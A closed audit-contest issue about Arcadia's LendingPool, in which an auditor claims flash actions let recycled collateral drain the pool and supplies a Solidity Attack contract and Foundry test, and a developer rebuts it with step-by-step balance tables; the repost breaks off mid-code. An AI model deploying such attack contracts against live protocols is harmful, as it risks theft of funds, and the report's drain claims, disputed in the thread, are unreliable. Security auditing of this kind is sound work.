sherlock-audit / 2023-12-arcadia-judging

18 stars 15 forks source link

cawfree - Flash loans can trick the `LendingPool` into issuing debt backed by its own collateral. #63

Closed sherlock-admin2 closed 6 months ago

sherlock-admin2 commented 6 months ago

cawfree

high

Flash loans can trick the LendingPool into issuing debt backed by its own collateral.

Summary

Accounts can use flash-loaned funds as borrow collateral from a LendingPool without tripping the health check, allowing collateral backing to be migrated directly into attacker-controlled accounts, where the only collateral at risk is that belonging to the LendingPool itself.

Further, it can be demonstrated that the underlying balance of the LendingPool can be drained at zero cost to an attacker, resulting in the failure to liquidate active positions due to insolvency.

Vulnerability Detail

Let's start by demonstration.

First, we append the following attack sequence to Borrow.fuzz.t.sol:

function test_sherlock_drain() public {

  /// @dev Declare our attacker.
  address _ATTACKER = address(0x69);

  /// @dev Here we declare the number of bot accounts to use.
  /// We're doing this to make the math a little bit simpler,
  /// since we don't need to write special handlers for dust
  /// liquidity in a target pool.
  /// You can scale this arbitrarly.
  uint256 numberOfBots = 2;

  /// @dev Here we assume the attacker has some liquidity.
  uint256 attackLiquidity = 1 ether;

  /// @dev Here we assume the initial liquidity of the pool.
  /// We'll initialize this using the `liquidityProvider`,
  /// although we can just assume this to be the aggregate
  /// liquidity of lots of users.
  uint256 liquidity = (numberOfBots * attackLiquidity) / 2;

  /// @dev Prepare token approvals for the liquidity provider
  /// and initialize the attacker's initial balance.
  vm.startPrank(users.liquidityProvider);
  mockERC20.stable1.approve(address(pool), type(uint256).max);
  mockERC20.stable1.transfer(_ATTACKER, attackLiquidity);
  vm.stopPrank();

  /// @dev Deposit the liquidity into the senior tranche.
  vm.prank(address(srTranche));
  pool.depositInLendingPool(liquidity, users.liquidityProvider);

  assertEq(mockERC20.stable1.balanceOf(address(pool)), liquidity);

  vm.startPrank(_ATTACKER);

  /// @dev Deploy the attack contract.
  Attack attack = new Attack(factory, pool, mockERC20.stable1);

  /// @dev Fund the attack liquidity.
  mockERC20.stable1.transfer(address(attack), attackLiquidity);
  /// @dev Accumulate a number of bot accounts.
  attack.prepareAccounts(numberOfBots) /* accumulate_bots */;

  /// @dev Begin the attack.
  attack.rekt();

  /// @notice At this stage, the pool has been emptied, and each account
  /// is left in possession of their borrowed collateral.
  assertEq(mockERC20.stable1.balanceOf(address(pool)), 0) /* pool_drained */;
  assertEq(mockERC20.stable1.balanceOf(address(attack)), attackLiquidity) /* no_loss_for_attacker_besides_gas */;

  vm.stopPrank();

}

A high-level description of the operations is defined below:

  1. We prepare the _ATTACKER with attackLiquidity (10 ** 18) of underlying tokens.
  2. We also prepare the LendingPool with a deposit of (numberOfBots * attackLiquidity) / 2 of underlying collateral via the srTranche. Note that here, we are choosing values which simplify the logical operations involved (an attacker would need to care to handle dust amounts).
  3. The _ATTACKER deploys the Attack contract and preallocates a number of "bot" accounts in the interest of reducing gas consumption during the main attack flow.
  4. After executing rekt(), we can verify that the amount of collateral belonging to the custom Attack contract (and therefore the _ATTACKER) is equivalent to the original attackLiquidity, signifying zero loss for the _ATTACKER besides gas. Conversely, we demonstrate that the balance of the LendingPool is now 0.

What has happened is the Attacker contract has borrowed all of the LendingPool's underlying collateral in exchange for nothing in return.

Below, we declare the Attack contract (within the same scope of Borrow.fuzz.t.sol):

contract Attack {

  /// @dev Address of the factory.
  Factory private immutable _FACTORY;
  /// @dev Address of the pool we intend to target.
  LendingPoolExtension private immutable _POOL;
  /// @dev The collateral token.
  ERC20Mock private immutable _TOKEN;

  /// @dev Array of bot accounts pre-allocated by the attacker.
  /// Can be accumulated during a preliminary phase, therefore
  /// unconstrainted by gas when preparing these.
  address[] private _accounts;

  /// @dev Attack depth tracker.
  uint256 private _attackDepth;

  /// @param factory The factory address.
  /// @param pool The target of the attack.
  /// @param token The collateral token.
  constructor(
    Factory factory,
    LendingPoolExtension pool,
    ERC20Mock token
  ) {
    _FACTORY = factory;
    _POOL = pool;
    _TOKEN = token;
  }

  /// @param numAccounts Number of bot accounts to create.
  function prepareAccounts(
    uint256 numAccounts
  ) external {

    for (uint256 i; i < numAccounts; i++) {

      /// @dev Create a new bot account.
      address account = _FACTORY.createAccount({
        salt: i + 0x69,
        accountVersion: 0,
        creditor: address(_POOL)
      });

      /// @dev Track the account.
      _accounts.push(account);
      /// @dev Ensure token approvals.
      _TOKEN.approve(account, type(uint256).max);

    }

  }

  function _emptyActionData() internal returns (ActionData memory emptyActionData) {
    address[] memory emptyAddresses = new address[](0);
    uint256[] memory emptyUints = new uint256[](0);
    emptyActionData = ActionData(emptyAddresses, emptyUints, emptyUints, emptyUints);
  }

  /// @dev Exploits the contract.
  function rekt() external {
    executeAction("");
  }

  function _withdrawAndSkim(address account, uint256 amountToWithdraw) internal {

    AccountV1 currentAccount = AccountV1(account);

    /// @dev Have the account formally deposit the token.
    address[] memory assetAddresses = new address[](1);
    assetAddresses[0] = address(_TOKEN);
    uint256[] memory assetIds = new uint256[](1);
    uint256[] memory assetAmounts = new uint256[](1);
    assetAmounts[0] = amountToWithdraw;

    currentAccount.withdraw(assetAddresses, assetIds, assetAmounts);
    currentAccount.skim(address(_TOKEN), 0, 0);

  }

  /// @dev Handle a flash action invocation.
  function executeAction(bytes memory actionTargetData) public returns (ActionData memory returnDepositData) {

    uint256 tokenBalance = _TOKEN.balanceOf(address(this));

    /// @dev Have the account formally deposit the token.
    address[] memory assetAddresses = new address[](1);
    assetAddresses[0] = address(_TOKEN);
    uint256[] memory assetIds = new uint256[](1);
    uint256[] memory assetAmounts = new uint256[](1);
    assetAmounts[0] = 1 ether;

    /// @dev Fetch the current account for the given `attackDepth`.
    AccountV1 currentAccount = AccountV1(_accounts[_attackDepth]);

    /// @dev Deposit the attack liquidity.
    currentAccount.deposit(assetAddresses, assetIds, assetAmounts);

    /// @dev Let's see if we can use our tokens as borrow collateral.
    _POOL.borrow(0.5 ether, address(currentAccount), address(this), bytes3("KEK"));

    uint256[] memory assetTypes = new uint256[](1) /* [ERC-20] */;

    ActionData memory withdrawActionData = ActionData({
      assets: assetAddresses,
      assetIds: assetIds,
      assetAmounts: assetAmounts,
      assetTypes: assetTypes
    });

    // TODO: fix this, lazy
    uint256 myAttackDepth = _attackDepth;

    /// @dev Increase the attack depth to figure out where in the
    /// attack we currently rest.
    ++_attackDepth;

    if (_attackDepth < _accounts.length) {

      /// @dev Moment of truth.
      currentAccount.flashAction(
        address(this) /* `this.executeAction(bytes)` */,
        abi.encode(withdrawActionData, _emptyActionData(), "", "", "")
      );

    }

    /// @dev Withdraw excess funds after the attack has taken place.
    _withdrawAndSkim(_accounts[myAttackDepth], 0.5 ether);

    if (myAttackDepth > 0) {

      AccountV1 accountToSendTo = AccountV1(_accounts[myAttackDepth - 1]);

      /// @dev Expedite funds.
      _TOKEN.approve(address(accountToSendTo), type(uint256).max);

      uint256[] memory newAssetAmounts = new uint256[](1);
      newAssetAmounts[0] = withdrawActionData.assetAmounts[0];

      withdrawActionData.assetAmounts = newAssetAmounts;

      /// @dev Re-deposit the assets to make the callback happy.
      returnDepositData = withdrawActionData;

    }

    /// Once we are finished, verify the `currentAccount` still
    /// contains the borrowed amount.
    require(_TOKEN.balanceOf(address(currentAccount)) == 0.5 ether, "FAILED_TO_LOCK_LIQUIDITY");

  }

}

Description of attack flow:

  1. After deploying and funding the Attack contract, we call prepareAccounts to preallocate a number of bot accounts.
  2. To execute the attack, we call rekt() which in turn invokes executeAction(""), which matches the function identifier required for receiving flash callbacks.
  3. In the callback, we deposit the initial attackLiquidity and use this as borrow collateral.
  4. If there's another existing account we can possibly deploy to, we flash loan the attackLiquidity to the attack contract and repeat the process again. The result is a daisy chain of contracts all using identical collateral to open multiple borrow positions.
  5. Once we run out of bots to delegate to, the pool is starved of collateral and the flash loan must be repaid. The original attackLiquidity amount is used to repay the flash loan opened for each previous account in the chain, leaving the borrowed amount remaining the bot account.

Once everything is all said and done, the attacker has lost no value, the pool's underlying token balance has been emptied, and all of the backing collateral has been separated out across multiple bot accounts.

In this scenario, each account is left with 0.5 ether of underlying token balance and 0.5 ether worth of DebtTokens.

The pool has issued debt backed by its own collateral, instead of the _ATTACKER's.

Impact

There are multiple vulnerabilities which can be enabled through this manipulation.

  1. If we assume an ideal model with zero fee growth, the bot positions persist fully-collateralized and cannot be liquidated.
  2. Assuming fee growth, the positions can grow illiquid and be exploited by an attacker in exchange for liquidation fees, enabling the attack to be repeatedly performed at profit.
  3. Pool insolvency will prevent LPs from withdrawing their liquidity.
  4. The significant lack of underlying collateral assets may lead to unprecedented outcomes in the case of a liquidation cascade or bank run.

Code Snippet

/**
 * @notice Takes out debt backed by collateral in an Arcadia Account.
 * @param amount The amount of underlying ERC20 tokens to be lent out.
 * @param account The address of the Arcadia Account backing the debt.
 * @param to The address who receives the lent out underlying tokens.
 * @param referrer A unique identifier of the referrer, who will receive part of the fees generated by this transaction.
 * @dev The sender might be different than the owner if they have the proper allowances.
 */
function borrow(uint256 amount, address account, address to, bytes3 referrer)
    external
    whenBorrowNotPaused
    processInterests
{
    // If Account is not an actual address of an Account, ownerOfAccount(address) will return the zero address.
    address accountOwner = IFactory(ACCOUNT_FACTORY).ownerOfAccount(account);
    if (accountOwner == address(0)) revert LendingPoolErrors.IsNotAnAccount();

    uint256 amountWithFee = amount + amount.mulDivUp(originationFee, ONE_4);

    // Check allowances to take debt.
    if (accountOwner != msg.sender) {
        uint256 allowed = creditAllowance[account][accountOwner][msg.sender];
        if (allowed != type(uint256).max) {
            creditAllowance[account][accountOwner][msg.sender] = allowed - amountWithFee;
        }
    }

    // Mint debt tokens to the Account.
    _deposit(amountWithFee, account);

    // Add origination fee to the treasury.
    unchecked {
        if (amountWithFee - amount > 0) {
            totalRealisedLiquidity = SafeCastLib.safeCastTo128(amountWithFee + totalRealisedLiquidity - amount);
            realisedLiquidityOf[treasury] += amountWithFee - amount;
        }
    }

    // UpdateOpenPosition checks that the Account indeed has opened a margin account for this Lending Pool and
    // checks that it is still healthy after the debt is increased with amountWithFee.
    // Reverts in Account if one of the checks fails.
    uint256 accountVersion = IAccount(account).increaseOpenPosition(maxWithdraw(account));
    if (!isValidVersion[accountVersion]) revert LendingPoolErrors.InvalidVersion();

    // Transfer fails if there is insufficient liquidity in the pool.
    asset.safeTransfer(to, amount);

    emit Borrow(account, msg.sender, to, amount, amountWithFee - amount, referrer);
}

Tool used

Foundry

Recommendation

Consider preventing the value of flash loaned assets from being taken into account whilst assessing borrower eligibility.

sherlock-admin2 commented 6 months ago

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid: high(8)

j-vp commented 6 months ago

I hereby again confirm this finding is invalid and will explain it below while walking through the POC. The post can be a bit long...

What essentially happens is two (n) accounts ending up with a healthy state and the lending pool accounting correctly for the debt and liquidity.

In this specific POC from the user, there are two assumptions: 1) 1 ETH collateral can be used to borrow 1 ETH of debt. 2) No interest accrue, independent of the pool utilisation.

Assumption 1is of course not valid: collateral factors of 100% will never be set, even not for ETH as collateral against borrowing ETH. More realistically, this will be in the order of 90%. Assumption 2 also doesn't hold, since at least a base interest rate is paid, and with increasing utility of the pool, an increasing interest rate comes along.

The impact as described in the issue is not correct, as I'll show below. The user assumes a non-zero interest rate with perfect LTV, which would indeed cause the mentioned "never liquidate-able positions", but will never be a real scenario.

The described POC is quite complex, since it uses a recursive entering of executeAction on an arbitrary actionTarget, in this case the malicious Attack contract. However, this has no effect on the stability or the solvency of the protocol. In fact, we can consider the recursive executeAction to be the actionTarget of the next recursion loop.

At the bottom, I have the POC slightly adjusted (removed other tests, imported required contracts or interfaces, used interfaces instead of contract imports for simplicity). At the bottom-bottom, there is a copy of the trace logs.

As a general reminder, AccountV1.flashAction consists of 4 steps:

  1. (flash)Withdraw assets from the Account to the actionTarget, here the actionTarget is the Attacker contract.
  2. The AccountV1::flashAction calls actionTarget.executeAction(), which can contain any arbitrary logic.
  3. The actionTarget returns a struct, which contains information for the account to process: the info contained within is used to withdraw assets from the actionTarget(=Attacker) to be deposited into the account.
  4. At the very end, a health check is performed to see whether the Account is in a healthy state.

I'll explain step by step what this POC of the user does, and the state of the Accounts, lending pool and attacker contract at every step. First, we will use the POC from the user where the collateral factor of ETH-ETH is 100% (again, not realistic).

Part 1) Liquidity is foreseen (this can be any liquidity and is not related to the attacker providing it). Accounts are initialized. Attack contract is created. Attack.rekt() is called to kick things off. State:

Actor Part 1
Account 1 0 ETH
Account 2 0 ETH
Attack Contract 1 ETH
Pool Balance: 1 ETH, Debt: 0 ETH

Part 2) First account is active. Attack contract deposits 1 ETH into account 1

Actor Part 1 Part 2
Account 1 0 ETH 1 ETH
Account 2 0 ETH 0 ETH
Attack Contract 1 ETH 0 ETH
Pool Balance: 1 ETH, Debt: 0 ETH Balance: 1 ETH, Debt: 0 ETH

Part 3) Attack contract (owner of account 1) borrows 0.5 ETH against account 1. The borrowed funds are sent to the Attack contract. A vanila, "normal" borrowing is used (AAVE style). darcETH = debtArcadiaETH = debt

Actor Part 1 Part 2 Part 3
Account 1 0 ETH 1 ETH 1 ETH, 0.5 darcETH
Account 2 0 ETH 0 ETH 0 ETH
Attack Contract 1 ETH 0 ETH 0.5 ETH
Pool Balance: 1 ETH, Debt: 0 ETH Balance: 1 ETH, Debt: 0 ETH Balance: 0.5 ETH, Debt: 0.5 ETH

Part 4) The Attack contract performs a flashAction on account 1. During the action, the Attack contract flashwithdraws 1 ETH to the Attacker contract. This is the first part of the flashAction on account 1. Note the bold balances, these are "temporary" balances created due to the flash accounting. As the interested reader will soon understand, this has no effect on the eventual stability and accounting.

Actor Part 1 Part 2 Part 3 Part 4
Account 1 0 ETH 1 ETH 1 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH
Account 2 0 ETH 0 ETH 0 ETH 0 ETH
Attack Contract 1 ETH 0 ETH 0.5 ETH 1.5 ETH
Pool Balance: 1 ETH, Debt: 0 ETH Balance: 1 ETH, Debt: 0 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH

Part 5) This is the second part of the flashAction on account 1. Within this flashAction, we call actionTarget.executeAction, which happens to be the Attack contract. The second account is now active in the Attacker contract. The Attack contract deposits 1 ETH into account 2.

Actor Part 1 Part 2 Part 3 Part 4 Part 5
Account 1 0 ETH 1 ETH 1 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH
Account 2 0 ETH 0 ETH 0 ETH 0 ETH 1 ETH
Attack Contract 1 ETH 0 ETH 0.5 ETH 1.5 ETH 0.5 ETH
Pool Balance: 1 ETH, Debt: 0 ETH Balance: 1 ETH, Debt: 0 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH

Part 6) The Attack contract borrows 0.5 ETH against Account 2. Again, vanilla borrow. The borrowed funds go towards the Attacker contract. We are still within the 1st "flashAction::executeAction" recursion of account 1's flashAction.

Actor Part 1 Part 2 Part 3 Part 4 Part 5 Part 6
Account 1 0 ETH 1 ETH 1 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH
Account 2 0 ETH 0 ETH 0 ETH 0 ETH 1 ETH 1 ETH, 0.5 darcETH
Attack Contract 1 ETH 0 ETH 0.5 ETH 1.5 ETH 0.5 ETH 1 ETH
Pool Balance: 1 ETH, Debt: 0 ETH Balance: 1 ETH, Debt: 0 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0 ETH, Debt: 1 ETH

Part 7) Since the Attack contract has recursion depth == 2, we go into the end flow and do not call account2.flashAction again (since that would require a third account). The Attacker withdraws (and not skims) 0.5 ETH from account 2. Since this would leave account 2 in a state of 0.5 ETH collateral for 0.5 ETH debt, this is an acceptable state (NOTE: THIS IS WITH UNREALISTIC COLLATERAL FACTORS, KEEP READING). The 'executeAction' on the Attack contract ends, and from now on account 1 will be active again.

Actor Part 1 Part 2 Part 3 Part 4 Part 5 Part 6 Part 7
Account 1 0 ETH 1 ETH 1 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH
Account 2 0 ETH 0 ETH 0 ETH 0 ETH 1 ETH 1 ETH, 0.5 darcETH 0.5 ETH, 0.5 darcETH
Attack Contract 1 ETH 0 ETH 0.5 ETH 1.5 ETH 0.5 ETH 1 ETH 1.5 ETH
Pool Balance: 1 ETH, Debt: 0 ETH Balance: 1 ETH, Debt: 0 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0 ETH, Debt: 1 ETH Balance: 0 ETH, Debt: 1 ETH

Part 8) We end the "flashAction::executeAction" of account 1's flashAction and proceed with the other functions in account 1's flashAction (the third part of the function, see higher). We will now withdraw the assets from the actionTarget (=Attacker contract) according to the input in the POC -> 1 ETH from the Attacker contract will be withdrawn and deposited into Account 1. The flashwithdrawn 1 ETH has found its way back to account 1!

Actor Part 1 Part 2 Part 3 Part 4 Part 5 Part 6 Part 7 Part 8
Account 1 0 ETH 1 ETH 1 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 1 ETH, 0.5 darcETH
Account 2 0 ETH 0 ETH 0 ETH 0 ETH 1 ETH 1 ETH, 0.5 darcETH 0.5 ETH, 0.5 darcETH 0.5 ETH, 0.5 darcETH
Attack Contract 1 ETH 0 ETH 0.5 ETH 1.5 ETH 0.5 ETH 1 ETH 1.5 ETH 0.5 ETH
Pool Balance: 1 ETH, Debt: 0 ETH Balance: 1 ETH, Debt: 0 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0 ETH, Debt: 1 ETH Balance: 0 ETH, Debt: 1 ETH Balance: 0 ETH, Debt: 1 ETH

Part 9) We started in Part 1 with calling Attacker.rekt(), we have now processed the majority of it, account 1 is active. The Attack contract withdraws (and not skims) 0.5 ETH from account 1. Since this would leave account 1 in a state of 0.5 ETH collateral for 0.5 ETH debt, this is an acceptable state (NOTE: THIS IS WITH UNREALISTIC COLLATERAL FACTORS).

Actor Part 1 Part 2 Part 3 Part 4 Part 5 Part 6 Part 7 Part 8 Part 9
Account 1 0 ETH 1 ETH 1 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 0 ETH, 0.5 darcETH 1 ETH, 0.5 darcETH 0.5 ETH, 0.5 darcETH
Account 2 0 ETH 0 ETH 0 ETH 0 ETH 1 ETH 1 ETH, 0.5 darcETH 0.5 ETH, 0.5 darcETH 0.5 ETH, 0.5 darcETH 0.5 ETH, 0.5 darcETH
Attack Contract 1 ETH 0 ETH 0.5 ETH 1.5 ETH 0.5 ETH 1 ETH 1.5 ETH 0.5 ETH 1 ETH
Pool Balance: 1 ETH, Debt: 0 ETH Balance: 1 ETH, Debt: 0 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0.5 ETH, Debt: 0.5 ETH Balance: 0 ETH, Debt: 1 ETH Balance: 0 ETH, Debt: 1 ETH Balance: 0 ETH, Debt: 1 ETH Balance: 0 ETH, Debt: 1 ETH

This gives us an end result of, keeping in mind the 100% collateral factor of ETH against ETH

Actor Part 9 RESULT
Account 1 0.5 ETH, 0.5 darcETH HEALTHY
Account 2 0.5 ETH, 0.5 darcETH HEALTHY
Attack Contract 1 ETH DOING JUST FINE
Pool Balance: 0 ETH, Debt: 1 ETH HEALTHY

We note that the end result of all this is the exact same case where:

Option 1) Friendly user 1 deposited 0.5 ETH into his account, and borrowed 0.5 ETH against it. Friendly user 2 deposited 0.5 ETH into his account, and borrowed 0.5 ETH against it. Attacker did nothing. Pool accounted for the friendly users.

OR

Option2) Attacker leveraged up on 0 ETH. The collateral factor is 1, so the max leverage is 1/(1-1) = infinite. The attacker can thus leverage up to a position size of 1 ETH of which 0 ETH is the attacker's margin and 1 ETH is borrowed. This would result in 1 account with: Assets: 1 ETH (of which 0 is the margin, 1 is borrowed) Debt: 1 ETH Health status: HEALTHY Pool accounting is identical.

As the above doesn't really make sense due to the collateral factor of 100% (or 1), amore sensible example will be one where ETH collateral has a collateral factor of 80% for borrowing ETH. Insert the same steps, and you get:

Actor Part 1 Part 2 Part 3 Part 4 Part 5 Part 6 Part 7 Part 8 Part 9
Account 1 0 ETH 1 ETH 1 ETH, 0.4 darcETH 0 ETH, 0.4 darcETH 0 ETH, 0.4 darcETH 0 ETH, 0.4 darcETH 0 ETH, 0.4 darcETH 1 ETH, 0.4 darcETH 0.5 ETH, 0.4 darcETH
Account 2 0 ETH 0 ETH 0 ETH 0 ETH 1 ETH 1 ETH, 0.4 darcETH 0.5 ETH, 0.4 darcETH 0.5 ETH, 0.4 darcETH 0.5 ETH, 0.4 darcETH
Attack Contract 1 ETH 0 ETH 0.4 ETH 1.4 ETH 0.4 ETH 0.8 ETH 1.3 ETH 0.3 ETH 0.8 ETH
Pool Balance: 1 ETH, Debt: 0 ETH Balance: 1 ETH, Debt: 0 ETH Balance: 0.6 ETH, Debt: 0.4 ETH Balance: 0.6 ETH, Debt: 0.4 ETH Balance: 0.6 ETH, Debt: 0.4 ETH Balance: 0.2 ETH, Debt: 0.8 ETH Balance: 0.2 ETH, Debt: 0.8 ETH Balance: 0.2 ETH, Debt: 0.8 ETH Balance: 0.2 ETH, Debt: 0.8 ETH

which summarises into:

Actor Part 9 RESULT
Account 1 0.5 ETH, 0.4 darcETH HEALTHY
Account 2 0.5 ETH, 0.4 darcETH HEALTHY
Attack Contract 0.8 ETH DOING JUST FINE
Pool Balance: 0.2 ETH, Debt: 0.8 ETH HEALTHY

We note that the end result of all this is the exact same case where:

Option 1) Friendly user 1 deposited 0.5 ETH into his account, and borrowed 0.4 ETH against it. Friendly user 2 deposited 0.5 ETH into his account, and borrowed 0.4 ETH against it. Attacker did nothing. Pool accounted for the friendly users.

OR

Option 2) Attacker leveraged up on 0.2 ETH. The collateral factor is 0.8, so the max leverage is 1/(1-0.8) = 5. The attacker can thus leverage up to a position size of 1 ETH of which 0.2 ETH is the attacker's margin and 0.8 ETH is borrowed. This would result in 1 account with: Assets: 1 ETH (of which 0.2 is the margin, 0.8 is borrowed) Debt: 0.8 ETH Health status: HEALTHY Pool accounting is identical.

We can see that the end state is perfectly OK. In fact, this is exactly what the lending pool is intended to be doing.

--> No loss of funds --> No instability --> No issue

Complete POC, copy paste in the Borrow.fuzz.t.sol file in lending-v2.

/**
 * Created by Pragma Labs
 * SPDX-License-Identifier: BUSL-1.1
 */
pragma solidity 0.8.22;

import { LendingPool_Fuzz_Test } from "./_LendingPool.fuzz.t.sol";

import { ERC20 } from "../../../lib/solmate/src/tokens/ERC20.sol";
import { FixedPointMathLib } from "../../../lib/solmate/src/utils/FixedPointMathLib.sol";
import { stdError } from "../../../lib/forge-std/src/StdError.sol";
import { stdStorage, StdStorage } from "../../../lib/accounts-v2/lib/forge-std/src/StdStorage.sol";

import { AccountErrors } from "../../../lib/accounts-v2/src/libraries/Errors.sol";
import { LendingPool } from "../../../src/LendingPool.sol";
import { ERC20Mock } from "../../../lib/accounts-v2/test/utils/mocks/tokens/ERC20Mock.sol";
import { ActionData } from "../../../lib/accounts-v2/src/interfaces/IActionBase.sol";
import { AccountV1 } from "../../../lib/accounts-v2/src/accounts/AccountV1.sol";

/**
 * @notice Fuzz tests for the function "borrow" of contract "LendingPool".
 */
contract Borrow_LendingPool_Fuzz_Test is LendingPool_Fuzz_Test {
    using stdStorage for StdStorage;
    using FixedPointMathLib for uint256;
    /* ///////////////////////////////////////////////////////////////
                              SETUP
    /////////////////////////////////////////////////////////////// */

    function setUp() public override {
        LendingPool_Fuzz_Test.setUp();
    }

    /*//////////////////////////////////////////////////////////////
                              TESTS
    //////////////////////////////////////////////////////////////*/

    function test_sherlock_drain() public {
        /// @dev Declare our attacker.
        address _ATTACKER = address(0x69);

        /// @dev Here we declare the number of bot accounts to use.
        /// We're doing this to make the math a little bit simpler,
        /// since we don't need to write special handlers for dust
        /// liquidity in a target pool.
        /// You can scale this arbitrarly.
        uint256 numberOfBots = 2;

        /// @dev Here we assume the attacker has some liquidity.
        uint256 attackLiquidity = 1 ether;

        /// @dev Here we assume the initial liquidity of the pool.
        /// We'll initialize this using the `liquidityProvider`,
        /// although we can just assume this to be the aggregate
        /// liquidity of lots of users.
        uint256 liquidity = (numberOfBots * attackLiquidity) / 2;

        /// @dev Prepare token approvals for the liquidity provider
        /// and initialize the attacker's initial balance.
        vm.startPrank(users.liquidityProvider);
        mockERC20.stable1.approve(address(pool), type(uint256).max);
        mockERC20.stable1.transfer(_ATTACKER, attackLiquidity);
        vm.stopPrank();

        /// @dev Deposit the liquidity into the senior tranche.
        vm.prank(address(srTranche));
        pool.depositInLendingPool(liquidity, users.liquidityProvider);

        assertEq(mockERC20.stable1.balanceOf(address(pool)), liquidity);

        vm.startPrank(_ATTACKER);

        /// @dev Deploy the attack contract.
        Attack attack = new Attack(address(factory), address(pool), address(mockERC20.stable1));

        /// @dev Fund the attack liquidity.
        mockERC20.stable1.transfer(address(attack), attackLiquidity);
        /// @dev Accumulate a number of bot accounts.
        attack.prepareAccounts(numberOfBots); /* accumulate_bots */

        /// @dev Begin the attack.
        attack.rekt();

        /// @notice At this stage, the pool has been emptied, and each account
        /// is left in possession of their borrowed collateral.
        assertEq(mockERC20.stable1.balanceOf(address(pool)), 0); /* pool_drained */
        assertEq(mockERC20.stable1.balanceOf(address(attack)), attackLiquidity); /* no_loss_for_attacker_besides_gas */

        vm.stopPrank();
    }
}

interface IFactory {
    function createAccount(uint256 salt, uint256 accountVersion, address creditor) external returns (address account);
}

interface IPool {
    function borrow(uint256 amount, address creditor, address to, bytes3 ref) external;
}

contract Attack {
    /// @dev Address of the factory.
    IFactory private immutable _FACTORY;
    /// @dev Address of the pool we intend to target.
    IPool private immutable _POOL;
    /// @dev The collateral token.
    ERC20Mock private immutable _TOKEN;

    /// @dev Array of bot accounts pre-allocated by the attacker.
    /// Can be accumulated during a preliminary phase, therefore
    /// unconstrainted by gas when preparing these.
    address[] private _accounts;

    /// @dev Attack depth tracker.
    uint256 private _attackDepth;

    /// @param factory The factory address.
    /// @param pool The target of the attack.
    /// @param token The collateral token.
    constructor(address factory, address pool, address token) {
        _FACTORY = IFactory(factory);
        _POOL = IPool(pool);
        _TOKEN = ERC20Mock(token);
    }

    /// @param numAccounts Number of bot accounts to create.
    function prepareAccounts(uint256 numAccounts) external {
        for (uint256 i; i < numAccounts; i++) {
            /// @dev Create a new bot account.
            address account = _FACTORY.createAccount({ salt: i + 0x69, accountVersion: 0, creditor: address(_POOL) });

            /// @dev Track the account.
            _accounts.push(account);
            /// @dev Ensure token approvals.
            _TOKEN.approve(account, type(uint256).max);
        }
    }

    function _emptyActionData() internal returns (ActionData memory emptyActionData) {
        address[] memory emptyAddresses = new address[](0);
        uint256[] memory emptyUints = new uint256[](0);
        emptyActionData = ActionData(emptyAddresses, emptyUints, emptyUints, emptyUints);
    }

    /// @dev Exploits the contract.
    function rekt() external {
        executeAction("");
    }

    function _withdrawAndSkim(address account, uint256 amountToWithdraw) internal {
        AccountV1 currentAccount = AccountV1(account);

        /// @dev Have the account formally deposit the token.
        address[] memory assetAddresses = new address[](1);
        assetAddresses[0] = address(_TOKEN);
        uint256[] memory assetIds = new uint256[](1);
        uint256[] memory assetAmounts = new uint256[](1);
        assetAmounts[0] = amountToWithdraw;

        currentAccount.withdraw(assetAddresses, assetIds, assetAmounts);
        currentAccount.skim(address(_TOKEN), 0, 0);
    }

    /// @dev Handle a flash action invocation.
    function executeAction(bytes memory actionTargetData) public returns (ActionData memory returnDepositData) {
        uint256 tokenBalance = _TOKEN.balanceOf(address(this));

        /// @dev Have the account formally deposit the token.
        address[] memory assetAddresses = new address[](1);
        assetAddresses[0] = address(_TOKEN);
        uint256[] memory assetIds = new uint256[](1);
        uint256[] memory assetAmounts = new uint256[](1);
        assetAmounts[0] = 1 ether;

        /// @dev Fetch the current account for the given `attackDepth`.
        AccountV1 currentAccount = AccountV1(_accounts[_attackDepth]);

        /// @dev Deposit the attack liquidity.
        currentAccount.deposit(assetAddresses, assetIds, assetAmounts);

        /// @dev Let's see if we can use our tokens as borrow collateral.
        _POOL.borrow(0.5 ether, address(currentAccount), address(this), bytes3("KEK"));

        uint256[] memory assetTypes = new uint256[](1); /* [ERC-20] */

        ActionData memory withdrawActionData = ActionData({
            assets: assetAddresses,
            assetIds: assetIds,
            assetAmounts: assetAmounts,
            assetTypes: assetTypes
        });

        // TODO: fix this, lazy
        uint256 myAttackDepth = _attackDepth;

        /// @dev Increase the attack depth to figure out where in the
        /// attack we currently rest.
        ++_attackDepth;

        if (_attackDepth < _accounts.length) {
            /// @dev Moment of truth.
            currentAccount.flashAction(
                address(this), /* `this.executeAction(bytes)` */
                abi.encode(withdrawActionData, _emptyActionData(), "", "", "")
            );
        }

        /// @dev Withdraw excess funds after the attack has taken place.
        _withdrawAndSkim(_accounts[myAttackDepth], 0.5 ether);

        if (myAttackDepth > 0) {
            AccountV1 accountToSendTo = AccountV1(_accounts[myAttackDepth - 1]);

            /// @dev Expedite funds.
            _TOKEN.approve(address(accountToSendTo), type(uint256).max);

            uint256[] memory newAssetAmounts = new uint256[](1);
            newAssetAmounts[0] = withdrawActionData.assetAmounts[0];

